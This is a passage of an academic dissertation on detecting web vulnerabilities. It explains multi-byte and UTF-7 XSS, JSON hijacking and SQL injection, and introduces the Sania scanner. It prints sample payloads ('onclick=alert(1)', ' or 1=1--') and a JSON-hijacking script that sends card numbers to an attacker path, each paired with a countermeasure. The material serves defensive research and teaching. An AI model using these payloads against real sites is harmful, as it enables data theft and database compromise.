injects a UTF-7 encoded string before the meta tag to successfully make the victim’s
browser render the web page in UTF-7.

To prevent UTF-7 attacks, every web page must clearly specify the correct encoding
before the place where a user-supplied input appears in the web page. By specifying
the correct encoding, the browser will not render the web page in UTF-7 even when a
string encoded in UTF-7 is injected into the web page. For example, the developer of
web application needs to specify the following HTML tag within the header element
before any user-supplied input, which indicates the web page is written in Shift_JIS
encoding.

<meta http-equiv="Content-Type"
content="text/html; charset=Shift_JIS">

2.2.4.4 Combination XSS

Same as the combination attack in SQL injection, a combination XSS targets several
target slots at a time. In XSS, we have several techniques for executing combination
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� �
<span style="ø1">str1</span>
<span style="ø2">str2</span>� �

(i). Targets of a combination attack (øi: target point)� �
<span style=" · >str1</span>
<span style= " onclick=alert(1) s=· >str2</span>� �

(ii). Exploitation example (Inserting “0x82” into ø1 and “ onclick=alert(1) s=0x82” into
ø2. The gray background indicates the first style value, and “·” represents a garbled character)

Figure 2.2: An example of combination attack in XSS (in Shift_JIS)

attack. We introduce here a combination attack that uses multi-byte characters.
Multi-byte characters used in a combination XSS are characters of Chinese, Japanese,

Korean, and Unicode, such as BIG5, EUC-JP, EUC-KR, GB2312, SHIFT_JIS, and
Unicode. In the example shown in Figure 2.2(i), user-supplied inputs are injected
to ø1 and ø2 in Shift_JIS encoding. In Shift_JIS, “0x82” appears as the first byte
of a two-byte character. For example, the Japanese character “あ” is composed of
“0x82A0”. If an attacker inserts “0x82” into ø1, some browsers can recognize “0x82”
as the first byte of a multi-byte character and regard the next byte as the second part of
the character. Consequently, the style element of the first span in the example becomes
“· >str1</span><span style=”, in which “·” represents a garbled character. If the
attacker then injects “ onclick=alert(1) s=0x82” to ø2, the resulting code will be
that shown in Figure 2.2(ii) and a new HTML attribute “onclick” will be successfully
injected.

To prevent multi-byte characters from changing the structure of a web page, the web
application is required to filter out every unpaired byte, so that the web page can only
deal with a correctly encoded string for the given encoding. Functions for converting
character encodings is useful for this purpose. For example, PHP has mb_convert_
encoding() function that converts the character encoding into another character en-
coding, and this function filters out unpaired bytes. By specifying the same character
encoding as follows, we can ensure that a web page has only correctly encoded strings.

$str = mb_convert_encoding($str, ’SJIS’, ’SJIS’);

Interested readers can refer to [19].
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Figure 2.3: JavaScript Hijacking

2.3 JavaScript Hijacking
JavaScript Hijacking is an attack in which an attacker can steal user’s sensitive infor-
mation stored in JSON [2] format data that is retrieved from the web application via
Ajax. This attack is also known as JSON Hijacking because this attack steals data con-
tained in JSON. JSON (JavaScript Object Notation) is a structured data invented for
easily, securely transferring data between web application and browser. Because JSON
was designed to be a subset of JavaScript, a JSON data can be treated as an object in
JavaScript program.

JavaScript Hijacking can be successful only against clients who uses older web
browsers than Firefox version 2, because it exploits a flaw in the JavaScript interpreter
implemented on those browser versions. We focused on this attack because Firefox 2
was one of the major browsers at the time when we investigated the technique to detect
JavaScript Hijacking vulnerabilities (around August 2008). Statistics showed Firefox 2
accounts for 17.64% of all web browsers used in the world [20]. This ratio took third
place after IE7(29.71%) and IE6(29.34%) .

Different from SQL injection and XSS in which an attacker sends a maliciously
crafted attack, JavaScript Hijacking is a type of attack in which an attacker fetches and
forwards client’s information without sending an attack. Figure 2.3 shows the execution
process of JavaScript Hijacking. The attacker prepares a malicious script on his server,
and lures a victim client to the attacker’s server by means of phishing, for example. In
reply to the client request, the server returns a web page that contains the previously
prepared malicious script. When the client browser loads the web page, the malicious
script is activated and sends a request to the vulnerable web application for the client’s
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� �
1: <script>
2: /* Override the constructor of Object,
3: which is invoked when a new object is created. */
4: function Object() {
5: this.cardNum.setter = function(arg) {
6: var value = "";
7: for(fld in this)
8: value += fld + ":" + this[fld] + ",";
9: value += "cardNum:" + arg;
10: /* Send the obtained data to the attacker’s server. */
11: var req = new XMLHttpRequest();
12: req.open("GET","/steal?x="+value,true);
13: req.send(null);
14: }
15: }
16: </script>
17: <!-- Load the JSON data, which is evaluated as
18: JavaScript program. -->
19: <script src="http://victim.com/user.json">
20: </script>� �
Figure 2.4: An attacker’s web page to activate JavaScript Hijacking in client browsers

sensitive data that can be retrieved only by the client browser. This data needs to be in
the JSON format for successfully executing JavaScript Hijacking. When the browser
receives the JSON data, the malicious script forwards it to the attacker’s server.

JavaScript Hijacking is successful because the JSON data is treated as an object in
a JavaScript program. When the JSON data is evaluated as an object, the constructor
of Object in the JavaScript language is automatically invoked. When the script made
by an attacker overrides the Object constructor, the malicious script is also invoked.

For example, a web application that manages credit card numbers of clients stores
client names and their card numbers in a file named user.json at the server side, and
a client browser asynchronously requests his credit card number with an Ajax request.
Suppose that the user.json has the following data.

[{"name":"yuji", "cardNum":"xxxxx-xxxxx-5903"},
{"name":"kono", "cardNum":"xxxxx-xxxxx-1174"}]

The attacker prepares his server to host a malicious script as shown in Figure 2.4. When
the client accesses the web page that the attacker prepared, the browser loads the script
from line 1 to 16 and requests the JSON data from the URL specified in the src attribute
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at line 19. The JavaScript interpreter evaluates the received data in user.json as an
array and also calls the Object constructor that is the parent prototype of the array
object. Since the setter of the cardNum is overridden at line 5, all the value of cardNum
in user.json are concatenated and stored into the variable value. Then, at line 12,
the content of the value is sent to the attacker’s web page “/steal”.

To prevent JavaScript Hijacking, it is effective to insert a small JavaScript snippet
that causes infinite loop (e.g., while(1);) or an exception throw (e.g., throw 1;)
at the beginning of the JSON data. With these small program, the attacker’s script
cannot reach the sensitive data even when the browser loads the JSON data and the
data is evaluated as JavaScript program. By skipping the small snippet of the prevention
program just before loading the JSON data, the legitimate web application can load the
JSON data appropriately. In this example, the prevention program snippet becomes like
this.

while(1);
[{"name":"yuji", "cardNum":"xxxxx-xxxxx-5903"},
{"name":"kono", "cardNum":"xxxxx-xxxxx-1174"}]

2.4 Summary
Web applications have become increasingly essential to our daily lives. Millions of
clients use web applications to obtain information, perform financial transactions, and
communicate with friends. Unfortunately, as these applications become popular, in-
jection vulnerabilities such as SQL injection and XSS has also become major security
challenges for developers today. Sanitizing is an effective countermeasure against SQL
injection and XSS. Even so, it is unfortunately a laborious, error-prone task for web
application developers, because they must first identify all the potentially vulnerable
points in their applications. Then, to write correct sanitizing code, they must under-
stand the many sanitization-evasion techniques [16, 21, 22]. In addition, some web
applications allow users to write certain HTML tags for a richer user experience. This
also makes it difficult to properly sanitize all user inputs.

From the attacker’s point of view, an attack code is eventually embedded into the
output that the web application generates, in the injection type of attack. The attacker
is able to exploit a vulnerability by carefully creating an attack code for altering the
syntactical structure of the output to activate an arbitrary malicious command. An
attack code for SQL injection contains a malicious SQL command and is carefully
created for altering the SQL structure of an SQL query to activate the command. In
XSS, an attack code contains a script and is created for altering the response document
structure, which is either of HTML, or JavaScript, or CSS, or any other document
format that browser supports.
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The difficulty in making a valid attack code is that it has to be made according to
the syntax of each target slot, the point where the attack code appears in the output,
since the attack code is embedded into a syntactically structured document such as
SQL, HTML, JavaScript, or CSS. As shown here, an arbitrary command is injectable
by altering the syntax of web application output. Failure to make an appropriate attack
code that alters the syntax of the point where it appears results in an attack that can
not alter the structure of the document, meaning that the attack is not able to make the
command executable.
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RELATED WORK

In this section, we list work closely related to ours and discuss their pros and cons, and
broadly classify them under three headings: (i) defensive coding with new language
and security system, (ii) monitoring and prevention techniques at runtime, and (iii)
techniques for vulnerability discovery. The research we propose in this dissertation
belongs to the vulnerability discovery approach.

3.1 Defensive Coding with New Language and Security
System

Defensive Coding is an approach for securing web applications to be newly created in
the future. This approach reduces or eliminates security sensitive coding that is prone
to programming error. The common drawback of this approach is that legacy web
applications must be rewritten to install the defensive system.

Currently, the use of a prepared statement is widely recommended for eliminat-
ing SQL injection vulnerabilities. A prepared statement separates the values in a query
from the structure of the SQL query. The programmer defines the skeleton of an SQL
query and the actual value is applied to the skeleton at runtime. For example, the fol-
lowing program written in Java creates a prepared statement that has two placeholders
represented with “?”, to which actual values are applied.

String sql="SELECT * FROM users WHERE name=? AND age=?";
PreparedStatement ps = connection.prepareStatement(sql);

The following program applies actual values to the placeholders.

ps.setString(1, request.getParameter(name));
ps.setInt(2, request.getParameter(age));
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Since this program binds the first placeholder to a string and the second to an integer, it
is impossible to change the structure of the SQL query.

Blueprint [23] also proposed a binding mechanism similar to a prepared statement.
It consists of a server-side component and a client-side script library for preventing
XSS from altering the structure of HTML documents. In Blueprint, a web application
is able to effectively take control of the browser’s parsing decisions, because existing
web browsers cannot be entrusted to make script identification decisions in untrusted
HTML documents due to the browsers’ unreliable parsing behavior. The server-side
component gives instructions to the client-side library with its JavaScript library. Since
JavaScript is supported on all modern browsers today, Blueprint requires no browser
modification, but a web application requires installation of the Blueprint system.

New programming languages are also proposed both in industry and academia for
implementing secure web applications. Facebook Markup Language (FBML) [6] and
Yahoo! Markup Language (YML) [24] are HTML-like languages for, as these names
indicate, Facebook and Yahoo respectively. They wrap sensitive operations that devel-
opers typically had to implement manually, so that they can create secure applications.
The resulting applications only work on those web sites or on web gadgets that provide
part of the functions hosted on those web sites. BASS [25] is a declarative server-side
scripting language that hides common and subtle coding details. It provides an ideal
programming model where the server interacts only with a single client. This allows
programmers to focus on the application logic without being distracted by common
implementation details, thus improving productivity and security.

Several research have modified both browsers and servers to distinguish authorized
from unauthorized scripts. Tahoma [26] and SOMA [5] ensures confidentiality of sensi-
tive data by specifying approved external domains for sending or receiving information.
This approach prevents a malicious script from sending the client’s sensitive informa-
tion to the attacker’s server, even when a malicious script is injected into the response
document and is activated by the browser. BEEP [27] also uses a server- and client-
side collaboration technique. It uses a new protocol to communicate a set of authorized
scripts created by web application developers. To enforce a policy of denying unau-
thorized script execution, it also requires a modified browser that can understand the
protocol.

3.2 Monitoring and Prevention at Runtime
This approach detects and prevents attacks at the runtime of web application in ser-
vice. For example, packet filtering at the network level or in a server-side program is
very effective for preventing any kind of web attack at runtime. A technique by Scott
and Sharp [28] and the validator of Struts [29] both verify that a user-supplied input
conforms to the predefined security policy before it is used in an application. The pol-
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icy typically defines meta-characters that have to be filtered out. WebSSARI [30] and
XSSDS [31] also works on the server side. WebSSARI combines static and dynamic
analyses, while XSSDS uses a learning-based approach. Both techniques check for vul-
nerabilities at runtime by enforcing policies made in the static analysis phase or learning
phase. Web application service providers, however, are not always willing to use a tool
that works at runtime, because it would increase the runtime overhead and generate
false positives that might badly affect the service itself. Additionally, an encrypted at-
tack often cannot be filtered by a packet filter. It will first be decrypted and then exploit
a vulnerability when it is used in a web program. This vulnerability can be detected
through precise penetration testing. Furthermore, since it is possible to reinforce web
applications at the program level, tools for identifying and fixing vulnerabilities before
putting applications in service are highly desirable.

Since SQL injection is executed on the server-side program, most runtime preven-
tion techniques for SQL injection works at the server-side. Most approaches for pre-
venting SQL injection at runtime performs model checking or dynamic taint analysis.
Several research efforts [32, 33, 34, 7] use model checking to prevent SQL injection
attacks. They build models of intended SQL queries before running a web application
and monitor the application at runtime to identify queries that do not match the model.
To create the models, SQLCheck [32], SQLGuard [33], and CANDID [34] statically
analyze the source code of the web application. The approach by Valeur [7] uses ma-
chine learning in which typical application queries are used as a training set. The effec-
tiveness of these approaches tends to be limited by the precision of the models. Some
techniques use dynamic taint analysis to prevent SQL injection attacks [35, 36, 37].
They use context-sensitive analysis to reject SQL queries if a suspicious input was used
to create certain types of SQL tokens.

Interestingly, a key-based validation approach is proposed for securing SQL trans-
fer mechanism between a web application and the database. SQLrand [38] provides a
framework that allows developers to create SQL queries from randomized keywords in-
stead of normal SQL keywords. A proxy between the web application and the database
intercepts SQL queries and de-randomizes the keywords. The SQL keywords injected
by an attacker would not have been constructed by the randomized keywords, and thus
the injected commands would result in a syntactically incorrect query. Since SQLrand
uses a secret key to modify keywords, its security relies on attackers not being able to
discover this key.

Several client-side prevention approaches are proposed against XSS, since client
browsers are the place where XSS is activated. Noxes [8] and NoMoXSS [39] work
solely on the client side. They focus on ensuring the confidentiality of sensitive data by
analyzing the flow of data through the browser, rather than by preventing unauthorized
script execution. Because not all web users are educated in security, however, deploy-
ment of these tools cannot be expected. Microsoft incorporated a client-side defense in
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IE 8 [40] and Google incorporated XSSAuditor [41] in Google Chrome, which protect
users from reflected XSS by examining user-supplied input appearing in the immediate
response. These approaches cannot protect against other types of XSS, however, which
should still currently be handled on the server side.

As a whole, web application service providers are reluctant to use a tool for prevent-
ing attacks at runtime because it would impose runtime overhead and would generate
false positives that might badly effect the service itself. Since sanitizing is a sufficient
measure for preventing SQL injection and XSS, tools that identify and fix vulnerabili-
ties before web applications provide a service are highly expected.

3.3 Vulnerability Detection
Vulnerability detection is an approach for detecting vulnerabilities in web applications,
especially in the development and debugging phases. This approach is conducted ei-
ther manually by developers or automatically with the use of vulnerability scanners.
In the manual approach, an auditor manually reviews source code and/or attempts to
execute real attacks to the web application. For discovering vulnerabilities, the auditor
is required to be familiar with the software architecture and source code, and/or to be a
computer security expert to attempt effective attacks tailored to his or her web applica-
tion. A comprehensive audit requires a lot of time and its success depends entirely on
the skill of the auditor. In addition, manual check is prone to mistakes and oversights.
On the other hand, the vulnerability scanners automate the process of vulnerability de-
tection without requiring the auditor to have detailed knowledge of the web applications
including security details. The automated vulnerability scanners eliminate mistakes and
oversights that is typically prone to be made by manual vulnerability detection. From
this reason, vulnerability scanners are widely used for detecting vulnerabilities in web
applications.

The techniques of automated scanners can be categorized into two types: static
analysis and dynamic analysis. By leveraging static analysis, we can perform security
checks with high coverage rates since this type of analysis investigates security viola-
tion from the source code of the web application. The disadvantage of this analysis is
that it does not find vulnerabilities introduced in the runtime environment. On the other
hand, by leveraging dynamic analysis, we can find vulnerabilities that appear in the
runtime environment, although there is no guarantee that the analysis will show every
possible case at the source code level as with static analysis. In this way, both have
pros and cons and complement each other. The use of several tools on both sides is
generally desirable for discovering vulnerabilities.
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3.3.1 Dynamic Analysis
Dynamic analysis is a technique to evaluate an application at runtime. By leveraging
dynamic analysis, we can observe how a web application behaves in response to attacks.
The vulnerability detection techniques we propose in this dissertation belong to this
category.

The dynamic analysis scanners are based on penetration test, which evaluates the
security of web applications by simulating an attack from a malicious user. The attack
is typically generated by embedding an attack code into an innocent HTTP request.
After sending the attack to the target web application, the vulnerability scanner cap-
tures the web application output to analyze the existence of vulnerabilities. Existing
vulnerability scanners [42, 43, 44, 45, 46, 47] employ dynamic analysis techniques for
detecting vulnerabilities.

The typical approach of the existing vulnerability scanners that perform dynamic
analysis defines a list of attack codes. An attack is generated by embedding each attack
code into every attack point that is an HTTP parameter or a cookie value in an HTTP
request, without considering the syntax of each target slot where an attack code appears
in the web application output. By making attacks in this mechanism, they tend to
make a number of attacks. In this mechanism, the same attack codes are used for
generating attacks even when the attacks are sent to different web applications. As a
result, their attacks are often unsuccessful because they are not syntax-aware, and tend
to fail in detecting vulnerabilities if attack codes necessary to detect vulnerabilities are
not defined in their predefined attack codes, which results in false negatives.

WAVES [45] and an approach by McAllister et al. [48] propose techniques for
minimizing the occurrence of false negatives by executing vulnerability detection on
a fraction of a web application where previous vulnerability scanner could not reach.
WAVES uses a web crawler that identifies all attack points by performing reverse en-
gineering of HTML pages, and then builds attacks that target those points based on a
list of attack codes. The attack patterns are selected according to experiences learned
through previous injection feedback. The approach by McAllister et al. uses recorded
user-supplied input to fill out forms with values that are likely valid. Because it can
generate test cases that can be replayed, it is able to increase the code coverage by
precisely following user’s session. These approaches improve the coverage in the code
level by exploring more parts of a web application.

SecuBat [46] and V1p3R [49] are based on pattern matching of error messages ap-
pearing in the HTTP response document. SecuBat analyzes HTTP responses to identify
all the points where a user can enter data, and then builds attacks that target the attack
points in the HTTP requests. It demonstrated how easy it is for attackers to auto-
matically discover and exploit application-level vulnerabilities. V1p3R relies upon an
extensible knowledge base of heuristics that guides the generation of the SQL queries.
It seeds a series of standard SQL attacks with the objective of letting web application
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to report an error message. The main purpose of these approaches is to improve the
precision of judgement of a vulnerability existence by precisely analyzing the response
document.

Behind the proposals for improving the precision of vulnerability detection as shown
above, some research have investigated the precision of existing vulnerability scanners.
Doupé et al. [9] reported the precision of existing dynamic analysis scanners is around
fifty percent and Bau et al. [10] reported that existing scanners can not detect vulner-
abilities of attacks that have been relatively recently discovered. The reason that the
precision of the existing dynamic analysis tools is low is because their attack codes are
typically predefined and send the same attacks to different web applications. For im-
proving the precision of these vulnerability scanners, the approaches introduced above
tend to conduct many attacks for reducing false negatives or depend on the judgement
of the existence of a vulnerability even though attack codes necessary to detect vulner-
abilities are still missing.

In dynamic analysis, the precision can be achieved by discovering more vulnerabili-
ties and by avoiding the issue of potentially useless attacks that can never be successful,
with conducting fewer attacks. To this end, in this dissertation, we focus on the tech-
nique of generating attacks that precisely exploit vulnerabilities. meaning our approach
generates attacks only necessary for identifying vulnerabilities. We propose Sania for
detecting SQL injection vulnerabilities and Detoxss for detecting XSS vulnerabilities.
They generate attack codes according to the syntax of each target slot where an attack
code, appears in the output of the web application, which results in making fewer at-
tacks, detecting more vulnerabilities, and making fewer false positives/negatives. The
detailed techniques and evaluation results are described in later sections.

3.3.2 Static Analysis
Static analysis is a technique that examines the source code of a web application with-
out executing the program. By leveraging static analysis, we can perform security
checks with high coverage rates. However, this analysis is typically unable to detect
vulnerabilities introduced at runtime.

The approach by Wassermann and Su [50] uses static analysis combined with au-
tomated reasoning for detecting SQL injection vulnerabilities. It generates finite state
automata and verifies that the SQL queries generated by the application do not contain
a tautology such as “1=1”. Although a tautology is often used by a naive SQL injection,
there are other types of SQL injection that do not contain a tautology. For example, it
is possible to insert a statement to drop a table, “DROP TABLE users”.

A static analysis tool Pixy [51] and the approach by Xie and Aiken [52] use flow-
sensitive taint analysis to detect several kinds of vulnerabilities in PHP web applica-
tions, including SQL injection and XSS vulnerabilities. They identify sources (points
of input) and sinks (points of output), and check to see whether every flow from a source
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to a sink is subject to sanitizing blocks of code. An approach by Livshits and Lam [53]
is similarly based on identifying sources and sinks, but it uses a flow-insensitive tech-
nique. In this approach, vulnerability patterns of interest are succinctly described in
PQL [54] language. A tool based on this approach statically finds all potential matches
of vulnerability patterns from a target web application. QED [55, 56] is also based
on flow-insensitive approach, but it can detect stored XSS vulnerabilities by analyzing
data-flow of session data, which is used by a web application to maintain states across
requests. Because neither flow-sensitive nor flow-insensitive techniques can evaluate
the correctness of sanitizing blocks of code for each web application, users must man-
ually evaluate these blocks, which is always susceptible to mistakes and oversights.

Research on reaching-definitions analysis or live-variables analysis [57, 58] point
out the undecidability of static analysis, which causes many false positives in static
analysis vulnerability scanners. They established that it is impossible to compute stati-
cally precise alias information in languages with if statements, loops, dynamic storage,
and recursive data structures. The static analysis technique for detecting vulnerabilities
from web application source code determines that there is a vulnerability if it reaches
such code unable to analyze. Thus, the static analysis for vulnerability detection tends
to make many false positives.

3.3.3 Combination of Dynamic and Static Analyses
For the purpose of reducing the false positives made in a static analysis, there is an
approach that uses a dynamic analysis against the result generated by the static anal-
ysis. Saner [59] performs static and dynamic analyses. In the static analysis phase, it
analyzes how an application modifies its input along each path from a source to a sink
by modeling string manipulation routines. Since this static analysis can incorrectly flag
correct sanitizing code as suspicious, Saner tries to reduce the number of these false
positives in the dynamic analysis phase by reconstructing suspicious codes and execut-
ing tests using a large set of attack codes. If false negatives are created in the static
analysis phase, however, Saner still cannot detect them even in the dynamic analysis
phase. This is because static analysis does not detect a vulnerability introduced only in
the runtime environment. A commercial tool Acusensor [60] uses a similar technique.

3.4 Summary
Research for securing web applications have been conducted in mainly three categories.
An approach for defensive coding with new language and security system targets web
applications to be newly created in the future, and an approach for preventing attacks at
runtime targets web applications currently in service. The third approach, vulnerabil-
ity detection, targets web applications in both the development and production phases
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for checking the existence of vulnerabilities. The vulnerability detection techniques
are also categorized into dynamic analysis, static analysis, and a combination of both
analyses. The research in this dissertation focuses on dynamic analysis in vulnerability
detection technique.

In dynamic analysis, the technique of existing vulnerability scanners are based on
penetration testing, which evaluates the security of web applications by simulating an
attack from a malicious user. They are often used today but research conducted for in-
vestigating the precision of the existing vulnerability scanners reported that they have a
precision problem. It is because their attack codes are typically predefined and send the
same attacks to different web applications, which often results in executing unsuccess-
ful attacks that can never exploit a vulnerability, and attack codes necessary to detect
vulnerabilities are not defined in their predefined attack codes. For improving the pre-
cision, other research have proposed vulnerability detection techniques. They conduct
many attacks for reducing false negatives or depend on the judgement of a vulnerability
detection existence even though attack codes necessary to detect vulnerabilities are still
missing.

We believe high precision can be achieved by discovering more vulnerabilities and
by avoiding the issue of potentially useless attacks that can never be successful, with
conducting fewer attacks. To achieve this, we focus on the technique of generating
attacks that precisely exploit vulnerabilities. As a result, our approach generates attacks
only necessary for identifying vulnerabilities. We propose Sania for detecting SQL
injection vulnerabilities and Detoxss for detecting XSS vulnerabilities. They generate
attack codes according to the syntax of each target slot where an attack code appears
in the output of the web application, which results in making fewer attacks, detecting
more vulnerabilities, and making fewer false positives/negatives.
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DETECTION OF SQL INJECTION
VULNERABILITIES

SQL injection is one of the most serious security threats to web applications. It allows
an attacker to access the underlying database and execute arbitrary commands, which
may lead to sensitive information disclosure. The primary way to prevent SQL injec-
tion is to sanitize the user-supplied inputs. However, this is usually performed manually
by developers and so is a laborious and error-prone task. Although vulnerability scan-
ners assist the developers in verifying the security of their web applications, they often
generate a number of false positives/negatives.

The reason why the existing security scanners produce a lot of false alerts is because
they execute the same attacks to different web applications. SQL injection is successful
when an attack code alters the syntactical structure of an SQL query for activating an
arbitrary SQL command. Due to this attack mechanism, to successfully alter the struc-
ture, each attack code should be made according to the syntax of the point where the
attack code appears in the SQL query, otherwise the attack code breaks the syntacti-
cal structure of the SQL query or just fails in altering the structure. Since the existing
scanners do not have mechanism for dynamically creating attack codes, they often fail
in detecting vulnerabilities.

In this chapter, we present our technique, Sania, which performs efficient and pre-
cise penetration testing by dynamically generating effective attack codes through in-
vestigating SQL queries. Since Sania is designed to be used in the development phase
of web applications, SQL queries are available for analysis. By analyzing the SQL
queries, Sania automatically generates precise attacks and assesses the security accord-
ing to the syntax of the target slots in the SQL queries. We evaluated Sania using six
real-world web applications. Sania proved to be efficient, finding 124 vulnerabilities
and generating only 7 false positives. Paros [42], a popular web application scanner,
found only 5 vulnerabilities and generated 66 false positives under the same evaluation
conditions. Moreover, we tested a production-quality web application, which was in
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the final testing phase before being shipped to the customer. Sania successfully found
one vulnerability in the application. In addition, Sania found an unknown vulnerability
in a free open-source web application.

4.1 Sania
An interactive web application ordinarily accesses its back-end database through a re-
stricted private network by issuing SQL queries. SQL injection is an attack that obtains
unrestricted access to the database through the insertion of maliciously crafted strings
into the SQL queries. Existing vulnerability scanners for detecting SQL injection vul-
nerabilities are designed to intercept HTTP requests and responses. They use these
HTTP packets for generating attacks and evaluating the success of the attacks. While
existing vulnerability scanners rely on only HTTP packets, Sania is designed to in-
tercepts SQL queries between the web application and the database. The situations
where SQL queries can be captured is, for example, the development phase of web
applications. By analyzing SQL queries, Sania dynamically generates effective attacks
according to the syntax of each target slot where an injected malicious string appears
in each SQL query. These effective attacks pinpoint vulnerabilities as well as reduces
unsuccessful attacks.

For example, Sania generates an attack that exploits two target slots in the following
SQL query at the same time:

SELECT * FROM users WHERE
name=’ø1’ and password=’ø2’ (øi: potentially vulnerable slot).

In this example, Sania inserts a backslash to the first potentially vulnerable slot (ø1)
and a string “ or 1=1--” to the second (ø2). If these inserted strings are not properly
sanitized, this attack alters the structure of the where clause (the name parameter is
identified as “’ and password=" and the latter part “ or 1=1--’” becomes always
true). In this attack, the backslash injected into the first target slot escaped the latter
quote that was supposed to indicate the end of the name value. As this example shows,
the first target slot is required to be enclosed with quotes for successfully altering the
structure of the where clause by this attack. By analyzing the syntax of the target slot
into which a malicious string is injected, Sania is able to recognize an appropriate attack
point and to execute syntax-aware attacks.

Additionally, Sania offers the users a way to optimize vulnerability detection pro-
cess by optionally providing application-specific information. For example, a web page
requires clients to enter the same data to several input fields (such as a password field
and its confirmation field). If the entered data do not match, the web application returns
a page that we did not expect. To reach the expected web page for executing the test-
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Figure 4.1: Fundamental design of Sania

ing on it, Sania allows the user to specify which fields must have the same value, and
automatically inserts the same value to these fields.

4.2 Vulnerability Detection Technique
Sania captures the SQL queries between the web application and database as well as
HTTP requests between a browser and the web application. In Sania, the user sends in-
nocent HTTP requests through a web browser. Sania intercepts those innocent requests
and SQL queries issued from the web application. This is illustrated in the left-side of
Figure 4.1. Sania then begins vulnerability detection with the following three steps.

1. Identifying target slots
Sania analyzes the syntax of the SQL queries to identify target slots. A target slot
is a slot in an SQL query, into which an attacker can embed attack codes to cause
SQL injection. For example, when a client tries to log into a web application, a
browser sends an HTTP request with parameters p1, p2, and p3. If the parameters
p1 and p2 appear at the slots ø1 and ø2 in the following SQL query respectively,
we refer to the slots as target slots.

SELECT * FROM users WHERE
name=’ø1’ AND (password=’ø2’) (øi: target slot)

Then p1 and p2 are used for embedding attacks to cause SQL injection, but p3 is
not.

2. Generating attacks
Sania analyzes the syntax of each target slot to generate syntax-aware attacks
that can successfully change the structure of the SQL query. In the previous
example, by analyzing the syntax of the target slot ø2, Sania generates an attack
code according to the syntax such as “’) or 1=1--”. This attack code ends the
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password value and injects an SQL command. This contains a right-parenthesis
to close the left-parenthesis, which avoids breaking the syntax of the SQL query.

3. Checking vulnerabilities
After sending the attacks generated from the second step, Sania checks for exis-
tence of SQL injection vulnerabilities in the web application. In this step, Sania
uses the well-known tree validation technique [33]; if an attack successfully in-
jects attack codes into an SQL query, the parse tree of the SQL query differs from
that generated from the innocent HTTP request.

4.2.1 Identifying Target Slots
In SQL injection, an attacker embeds an attack code into a certain attack point in the
HTTP request and the value may appear in a target slot in an SQL query. An attack
code can be a query-string, a cookie, or any other parameter in an HTTP request.

Suppose that an HTTP request has a query-string such as “id=555&cat=book" and
the generated SQL query becomes:

SELECT * FROM users WHERE user_id=555.

This query-string has two sets of data separated by an ampersand (&), and the equality
sign (=) divides each data set into two elements: parameter and value. In this case,
the parameters are id and cat, and their values are respectively 555 and book. A
parameter element is fixed, but an attacker can freely alter a value element. In Sania, a
target slot is identified by checking whether a value element appears in a leaf node of
the parse trees of the SQL queries generated from the innocent HTTP request.

It is possible that Sania may identify a potentially safe slot as a target slot if the
value of a stateful parameter appears in an SQL query. A stateful parameter is an
HTTP parameter whose value is not embedded into any SQL query, even though the
same string happens to appear in an SQL query. Suppose a web page accepts the query-
string, name=xxx&action=yyy, and the action parameter is a stateful parameter to
determine the action of the web page. When the value of the action parameter is:

• select; the web page issues the following SQL query:

select * from users where name=’σ’ (σ: the value of name parameter).

• others; the web page issues no SQL query.

If the query-string in an HTTP request contains name=xxx&action=select, the SQL
query becomes “select * from users where name=’xxx’”. In this example, Sa-
nia determines the slots for xxx and select in the SQL query, which are both target
slots, even though the string select appearing in the query-string does not actually
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embedded into the SQL query. As a result, Sania makes an attack for attempting to
exploit the stateful parameter, although the attack will never be successful because no
SQL query is issued when other values are used for the action parameter. Note that
removing the reserved SQL keywords from choosing target slots is an inappropriate
approach to avoid the problem, because a reserved word, such as “select”, can appear
in a target slot just as the same as other strings. To exclude stateful parameters, Sania
allows the users to specify which parameters will never appear in SQL queries. The
details are discussed in Section 4.2.4.

4.2.2 Generating Attacks
Sania dynamically generates attacks by embedding an attack code into a target slot.
Sania generates two types of attacks: singular and combination. In a singular attack,
Sania inserts an attack code into a single target slot. In a combination attack, it inserts
attack codes into two target slots at the same time.

4.2.2.1 Singular Attack

A singular attack attempts to exploit one target slot at a time. To create an effective
singular attack, Sania generates an attack code according to the syntax of the target
slot in the SQL query. A syntax is the data-type of a non-terminal node in a parse tree
that represents the syntactic structure of an SQL query. A terminal node has an SQL
keyword or a variable used in the SQL query. Since a terminal node appears as a child
node of a non-terminal, the syntax is obtained by referencing to the parent node of a
terminal node in which an attack code appears. Suppose a web application issues the
following SQL query to authenticate a user’s log in.

SELECT * FROM users WHERE name = ’ø1’ AND (password = ø2) (øi: target slot)

The parse tree reveals that the syntax of the target slots ø1 and ø2 are a string and an
integer in the SQL grammar respectively. In addition, Sania can learn that ø2 is enclosed
in parentheses by tracing the ancestor nodes of ø2 in the parse tree.

With the information about the syntax of a target slot, Sania is able to generate
effective attacks. In the above example, an attack code for the string (ø1) is for example
“’ or 1=1--”, which contains a single quote to end the name value in the SQL query.
By ignoring the characters after the two hyphens “--”, the attack code successfully
changes the structure of the SQL query. On the other hand, an attack code for the integer
(ø2) is for example “123) or 1=1--”, which does not contain a single quote to end the
password value since ø2 is not enclosed in quotes. This attack code contains a right-
parenthesis “)” to end the left parenthesis. Sania is able to know how many parentheses
are required for exploiting the target slot by counting the ancestor parenthesis node and
makes the same number of right-parentheses.
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To create a syntax-aware attack code, Sania uses an attack rule that we prepared
for each syntax in the SQL grammar. An attack rule is a specification about how to
create an attack code according to the syntax of each target slot. In the example above,
the attack codes are created by referring to the attack rule for a string or that for an
integer. We found the syntax of target slots can be classified into 96 patterns in the
SQL grammar and defined an attack rule for each syntax by thoroughly investigating
SQL injection techniques [13, 61, 62, 63, 64, 65, 66, 67].

Each attack rule is represented as a four-element tuple:

(metaCharacter, userInput, insertedSQL, parentheses).

A metaCharacter holds a boolean value that represents whether to insert a quote,
which ends the user input (usually a string) in a target slot to divide the target slot into
two parts. The first part, called a userInput, contains a normal string that mimics
the input from an ordinary user. The second part, called an insertedSQL, contains
a part of the SQL query that an attacker attempts to inject. Since the quote inserted
into a target slot represents the end of a userInput, the string in the insertedSQL is
interpreted as SQL keywords. In addition, a parentheses also holds a boolean value
that determines whether or not to insert parentheses to make an SQL query syntactically
correct. If this value is true, Sania counts the appropriate number of parentheses by
tracing the ancestor nodes back from the terminal node in which an attack code appears.

Although this parentheses value is often true for not breaking the structure of
an SQL query, it can have a false value for allowing users to optionally perform
other security checks, even in the situation where an attack does not result in a success.
For example, the users can check the correctness of the implementation of sanitizing
functions because breaking the syntax of an SQL query often indicates a failure of
proper implementation of a sanitizing function. Even though Sania always attempts not
to break the structure of an SQL query, we put flexibility into user customization with
the parentheses value.
